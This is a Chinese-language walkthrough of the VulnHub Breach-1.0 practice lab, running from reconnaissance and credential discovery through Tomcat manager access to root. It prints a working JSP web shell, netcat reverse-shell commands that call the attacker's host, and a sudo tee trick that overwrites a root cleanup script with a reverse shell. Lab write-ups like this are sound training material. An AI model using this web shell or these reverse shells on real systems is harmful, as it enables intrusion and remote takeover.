1. 程式人生 > 其它 >VulnHub 實戰靶場Breach-1.0

VulnHub 實戰靶場Breach-1.0

相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這裡記錄以下打這個靶場的過程和心得。

相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這裡記錄以下打這個靶場的過程和心得。

測試環境

  • Kali linux IP:192.168.110.128

  • Breach 1.0 IP:192.168.110.140

    均通過NAT模式連主機

資訊蒐集

先掃描開放埠,發現開了一大堆。

直接檢視80埠Web服務

檢視頁面原始碼有一串字元

<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->

得到一串意義不明的東西
pgibbons:damnitfeel$goodtobeagang$ta

點選圖片有跳轉,挨個點選,發現了一個impress cms

那看到cms第一反應就是去找現成的漏洞,有跨站指令碼執行和本地檔案包含,但都是在admin的情況下才可以執行, 這個時候我們不妨試試之前解出的那串字元,作為賬號密碼。

發現可以成功,進入之後檢視發現有個收件箱,裡面三封郵件得到了一個關鍵資訊,192.168.110.140/.keystore,是一個SSL證書,訪問連結即可下載。

但是線索到這裡暫時斷了,但是網上找到一個漏洞資訊

漏洞資訊
ImpressCMS是一款內容管理系統。
ImpressCMS存在跨站指令碼漏洞,可通過PATH_INFO傳遞給otifications.php, modules/system/admin/images/browser.php

modules/content/admin/content.php指令碼的輸入注入WEB指令碼或HTML,可獲得敏感資訊或劫持使用者會話。

雖然經一系列嘗試無果,但是在訪問modules/content/admin/content.php的時候,由於沒有許可權跳轉到了這個頁面

content下面有個連結


是一個流量包,那之前拿到的SSL證書就能用到了。

關鍵資訊:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.

檢視流量包

開啟流量包,直接檢視沒有什麼有用資訊

匯入SSL證書,因為是tomcat服務所以埠號選擇8443,

說明我們拿到的證書格式不對,需要PKCS12格式的證書。我們使用keytool檢視資訊,密碼是tomcat

根據提示資訊操作

keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12

現在格式正確了

重新匯入,多了一些http包

我們篩選一下http包

發現在請求一個網頁,但是第一次沒有成功,比較兩個資料包,發現多了這一行請求。

我們也嘗試訪問這個頁面

https://192.168.110.140:8443/_M@nag3Me/html

但是一直訪問不成功,嘗試抓包

才發現是覺得不安全被攔截了,抓包訪問的時候會讓你輸入賬號密碼

tomcat:Tt\5D8F(#!*u=G)4m7zB

使用流量包中發現的賬號密碼登入

進入後臺

我們進入了一個tomcat的後臺介面,發現一個檔案上傳點,需要上傳war包。

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

打包成war上傳之後訪問,傳參

成功,但是測試的時候發現隔一會上傳的馬會被刪除,應該是後臺有一個定時清除的指令碼,因此我們彈一個shell出來

GetShell以及提權

Kali使用nc -lnvp 8888監聽

傳送nc -v 192.168.110.128 8888 -e /bin/bash, 成功之後使用python -c 'import pty;pty.spawn("/bin/sh")'進入互動式介面

home目錄下兩個使用者以及/etc/passwd

發現在/var/www/5446/目錄下有兩個奇怪的php檔案

發現是資料庫的賬號和密碼,我們連線資料庫看一看

找到了milton使用者的密碼hash

破解得密碼thelaststraw

登入milton使用者,但是發現很遺憾,這個使用者沒有sudo許可權

檢視.bash_history

看樣子我們需要得到blumbergh使用者的許可權。我們再看milton家目錄下的那張圖片,放到/var/www/html/images/目錄下

檢查這張圖片,並沒有什麼玄機。

再檢視images下的圖片許可權

發現有兩張圖片的許可權與其他不同,檢視

發現bill.png下面有個commentcoffeestains,結果這個就是blumbergh使用者的密碼,就挺離譜的。

登入blumbergh使用者,檢視.bash_history

檢視一下tidyup.sh

就是這個指令之前刪除了我們的shell

但是這個指令碼的許可權是755, 現有許可權並不能更改

但是我們發現現在這個使用者有一個許可權,就是可以使用tee指令

因此就有了修改的方式

echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

因為這個指令碼是root使用者的許可權,因此我們通過這個方式反彈出來的shell就是root許可權。設定監聽之後等待即可。

至此,成功提權到root